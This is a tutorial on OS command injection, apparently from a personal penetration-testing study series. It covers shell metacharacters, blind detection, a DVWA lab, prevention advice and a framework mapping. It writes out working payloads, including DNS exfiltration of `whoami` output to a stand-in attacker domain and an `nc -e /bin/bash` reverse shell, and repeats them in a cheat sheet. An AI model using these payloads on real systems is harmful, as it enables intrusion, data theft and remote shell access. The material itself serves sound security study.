

OS Command Injection

Command injection (also called shell injection) is the most direct path from a web vulnerability to a shell prompt in this entire injection series — where SQLi gives you database control and SSTI can *sometimes* reach code execution through an object-chain, command injection hands you **the operating system itself**, directly. This is also where your Netcat guide's reverse shell technique finally has an obvious real-world entry point: command injection is exactly how you'd trigger that `nc -e /bin/bash` payload in a real engagement.

1. What Command Injection Actually Is

Command injection happens when an application passes user-controlled input into a call to the underlying operating system shell, without properly neutralizing characters that the shell treats as special. Since a successful attacker's input is executed **with the same privileges as the application itself**, this typically leads to full application and data compromise — and often becomes a pivot point into the rest of the hosting infrastructure, exactly the "trust relationship" pivoting concept from your ATT&CK guide's lateral movement discussion.

2. Why This Happens — A Concrete Example

```
Shopping app URL:  
https://insecure-website.com/stockStatus?productID=381&storeID=29
```

```
Behind the scenes, the app calls a legacy shell command directly:  
stockreport.pl 381 29
```

If the application builds this command by concatenating the `productID` and `storeID` parameters straight into a shell command string — with no validation — an attacker controls part of what the shell actually executes.

Injection payload:

```
& echo aiwefwlguh &
```

Resulting command the shell actually runs:

```
stockreport.pl & echo aiwefwlguh & 29
```

Because `&` is a shell **command separator**, this is actually **three separate commands** chained together. The response reveals all three running independently:

```
Error - productID was not provided
aiwefwlguh
29: command not found
```

This output is a textbook confirmation: the original script errored (missing its expected argument), the injected `echo` ran and printed the test string, and the leftover `29` was itself interpreted as an attempted command. **Using `echo` with a unique/random string is exactly the same "canary value" detection principle as SSTI's `{{7*7}}` test** — you're looking for your specific marker to appear in output that has no other reason to contain it.

Why trailing the payload with another `&` matters: it cleanly separates your injected command from whatever text follows in the original request, reducing the odds that leftover input breaks your injection or gets mistaken as arguments to your command.

3. Shell Metacharacters — Your Injection Toolkit

Different characters cause the shell to treat input differently — knowing exactly what each does (and where it works) is the core practical skill here.

Command separators — work on both Windows and Unix:

```
&    &&    |    ||
```

Command separators — Unix-only:

```
;
newline (0x0a / \n)
```

Inline execution — Unix-only (executes the injected command and substitutes its output directly into the original command):

```
`injected command`  
$(injected command)
```

Important nuance: these metacharacters behave subtly differently from each other — some run your command *regardless* of whether the original command succeeds or fails (`;` , `&`), while others (`&&`) only run if the preceding command succeeded, and (`||`) only run if it *failed*. This can determine whether your injection works at all in a given context, and whether you get output back in-band or need a blind technique instead.

Breaking out of quoted contexts: if your input lands inside quotation marks in the original command (`"$input"` or `'$input'`), you first need to terminate that quoted string (using a matching `"` or `'`) before your shell metacharacters will actually be interpreted as shell syntax rather than literal quoted text — directly analogous to breaking out of a quoted string in a SQL query before your injected SQL syntax takes effect.

4. Useful Post-Exploitation Commands

Once you've confirmed injection works, these are the standard first commands to run for situational awareness — genuinely worth having memorized cold, since they're the very first thing you'd type in almost any newly-gained shell context, not just command injection specifically:

Purpose	Linux	Windows
Current user	<code>whoami</code>	<code>whoami</code>
OS info	<code>uname -a</code>	<code>ver</code>
Network config	<code>ifconfig</code>	<code>ipconfig /all</code>
Network connections	<code>netstat -an</code>	<code>netstat -an</code>
Running processes	<code>ps -ef</code>	<code>tasklist</code>

This table is your immediate next step after confirming injection — establish who you are, what OS you're on, and what the network/process landscape looks like, before deciding on further action (privilege escalation per your Linux/Windows File Permissions guides, or pivoting toward a full interactive shell per Section 6 below).

5. Blind Command Injection

Just like blind SQLi and blind XXE, many real command injection vulnerabilities never return the command's output anywhere in the HTTP response — the classic example is a feedback form that shells out to `mail` behind the scenes purely as a side effect:

```
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
```

There's no output channel back to you at all here — the `echo` canary technique from Section 2 is useless, since nothing gets displayed. Three techniques cover this exact situation, and they map almost one-to-one onto the blind-exploitation techniques you already know from SQLi and XXE.

a) Time-Delay Detection (the blind-SQLi/blind-XXE pattern again)

```
& ping -c 10 127.0.0.1 &
```

The `ping` command's `-c` flag lets you precisely control how long the command takes to run — pinging the loopback interface 10 times takes roughly 10 seconds. If the application's response is delayed by approximately that amount, you've confirmed injection worked, purely through timing — exactly the same principle as `SLEEP(5)` in blind SQLi or `sleep(5000)` in blind NoSQLi.

b) Redirecting Output Into a Web-Accessible File

```
& whoami > /var/www/static/whoami.txt &
```

If you know (or can guess) a filesystem path that's also served over HTTP, you can redirect a command's output directly into a file inside that path using the `>` operator, then simply browse to it afterward:

```
https://vulnerable-website.com/whoami.txt
```

This turns a completely blind vulnerability into a fully in-band one — you get the actual command output back, just via a second HTTP request instead of the original response.

c) Out-of-Band (OAST) Exfiltration — the Universal Blind-Injection Technique

```
& nslookup kgji2ohoyw.web-attacker.com &
```

Triggering a DNS lookup to a domain you control (Burp Collaborator, or your own listener) confirms the injection fired at all, purely by checking whether that lookup shows up in your logs — the exact same OAST principle from your XXE guide's blind exfiltration technique.

The genuinely powerful move — embedding command output directly into the DNS query itself:

```
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
```

The backtick inline-execution syntax runs `whoami` first, and its output becomes **part of the domain name being looked up**:

```
wwwuser.kgji2ohoyw.web-attacker.com
```

You now have the command's actual output sitting directly in your own DNS server's access logs — a genuinely elegant exfiltration channel that works even when the target has zero visible output and zero web-accessible file path to redirect into.

6. From Command Injection to a Full Interactive Shell

Confirming command injection with `whoami` / `echo` is proof-of-concept — a real engagement's next step is usually escalating to a full interactive shell, which is exactly where your Netcat guide's reverse shell technique plugs in directly:

```
Injection payload (Linux target):  
& nc -e /bin/bash attacker_ip 4444 &
```

```
Your listener (from your Netcat guide):  
nc -lvp 4444
```

The moment this executes, you have an interactive shell on the target — this is the literal mechanical bridge between "found a web vulnerability" and "have a shell," and it's precisely the Kill Chain's transition from **Exploitation** into **Installation/Command & Control** made concrete.

If `-e` isn't available on the target (a common modern hardening measure, per your Netcat guide), the `mkfifo`-based reverse shell workaround from that same guide applies identically here — command injection is just the *delivery mechanism* for whatever payload you choose; everything you already know about Netcat shells transfers directly.

7. Practical Detection Checklist

1. Identify inputs that plausibly reach a shell command (filenames, IPs, hostnames, anything that smells like it maps to a legacy CLI tool being called under the hood)
2. Try the echo canary technique first: `& echo UNIQUESTRING &`
3. If no visible output changes, assume blind - move to time-delay testing (`& ping -c 10 127.0.0.1 &`) as the next fastest signal
4. If timing confirms injection but you need actual command output, try output redirection into a known web-accessible path
5. If no web-accessible path is known/guessable, fall back to OAST - nslookup with a Collaborator/attacker-controlled domain, embedding command output directly into the subdomain via backticks
6. Once confirmed, run the Section 4 recon commands, then consider escalating to a full reverse shell per Section 6

8. Prevention — The Real Fix

The strongest fix: never call out to OS commands from application code at all. In the overwhelming majority of cases, there's a safer platform-native API that accomplishes the same goal without ever touching a shell (a language's built-in file-handling library instead of shelling out to `cp` / `mv`, a proper network library instead of shelling out to `ping`, etc.) — removing the shell invocation removes the entire vulnerability class structurally, the same "eliminate the dangerous capability rather than filter around it" principle from your XXE and SSTI guides.

When shelling out is genuinely unavoidable, strong input validation is required:

- **Allowlist validation** — only permit input values from a known-safe, predefined set
- **Numeric validation** — if the input should be a number, verify it's *only* a number, nothing else
- **Strict alphanumeric validation** — permit only letters/digits, explicitly rejecting all shell metacharacters and whitespace

Critical warning, stated explicitly and worth internalizing: never attempt to sanitize input by escaping shell metacharacters yourself. This approach is consistently too error-prone in practice and gets bypassed by a sufficiently determined attacker — this is the exact same blocklist-vs-allowlist lesson repeated across every injection guide in this series (SQLi, XXE, SSTI, NoSQLi), and command injection is arguably where getting it wrong is most catastrophic, since the "query" being manipulated is the operating system itself.

9. Practical Lab Example

DVWA has a dedicated Command Injection module across its Low/Medium/High difficulty tiers - genuinely the best hands-on environment from your existing platform history for this specific topic, since you can watch each difficulty tier's filtering get progressively defeated by a different metacharacter/technique.

Practice flow across DVWA's three tiers:

Low: basic & or ; chaining typically works immediately

Medium: some characters get blacklisted - test alternate separators (&&, |, newline) until one isn't filtered

High: more aggressive filtering - this is where you'd need the inline-execution syntax (backticks/\$()) or encoding tricks to smuggle a payload past stricter blocklist-based filtering

Documenting *why* each tier's defense failed and *which specific technique* defeated it (mirroring the "here's the defense, here's why it wasn't enough, here's the bypass" structure recommended in your SQLi guide) is exactly the narrative that turns a DVWA walkthrough into a genuinely instructive writeup.

10. Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	CWE-78 (Improper Neutralization of Special Elements used in an OS Command) — a direct sibling of CWE-89 (SQLi) under the same CWE-74 Injection parent from your CWE guide
OWASP Top 10:2025	A05:2025 Injection
CVSS	Routinely Critical — AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H is common, since successful command injection typically grants full C/I/A compromise simultaneously
Cyber Kill Chain	Exploitation → directly enables Installation (dropping persistence) and Command & Control (via the reverse shell pattern in Section 6)
MITRE ATT&CK	T1190 (Exploit Public-Facing Application) as the entry vector, followed immediately by T1059 (Command and Scripting Interpreter) once shell access is achieved

Quick Reference Cheat Sheet

Detection (in-band):
`& echo UNIQUESTRING &`

Command separators (Windows + Unix):
`&    &&    |    ||`

Command separators (Unix only):
`;    \n`

Inline execution (Unix only):
``command``
`$(command)`

Blind - time delay:
`& ping -c 10 127.0.0.1 &`

Blind - output redirection:
`& whoami > /var/www/static/out.txt &`

Blind - OAST exfiltration:
`& nslookup `whoami`.attacker-domain.com &`

Reverse shell payload:
`& nc -e /bin/bash attacker_ip 4444 &`

Recon commands post-injection:
`whoami / uname -a / ifconfig / netstat -an / ps -ef` (Linux)


```
whoami / ver / ipconfig /all / netstat -an / tasklist (Windows)
```
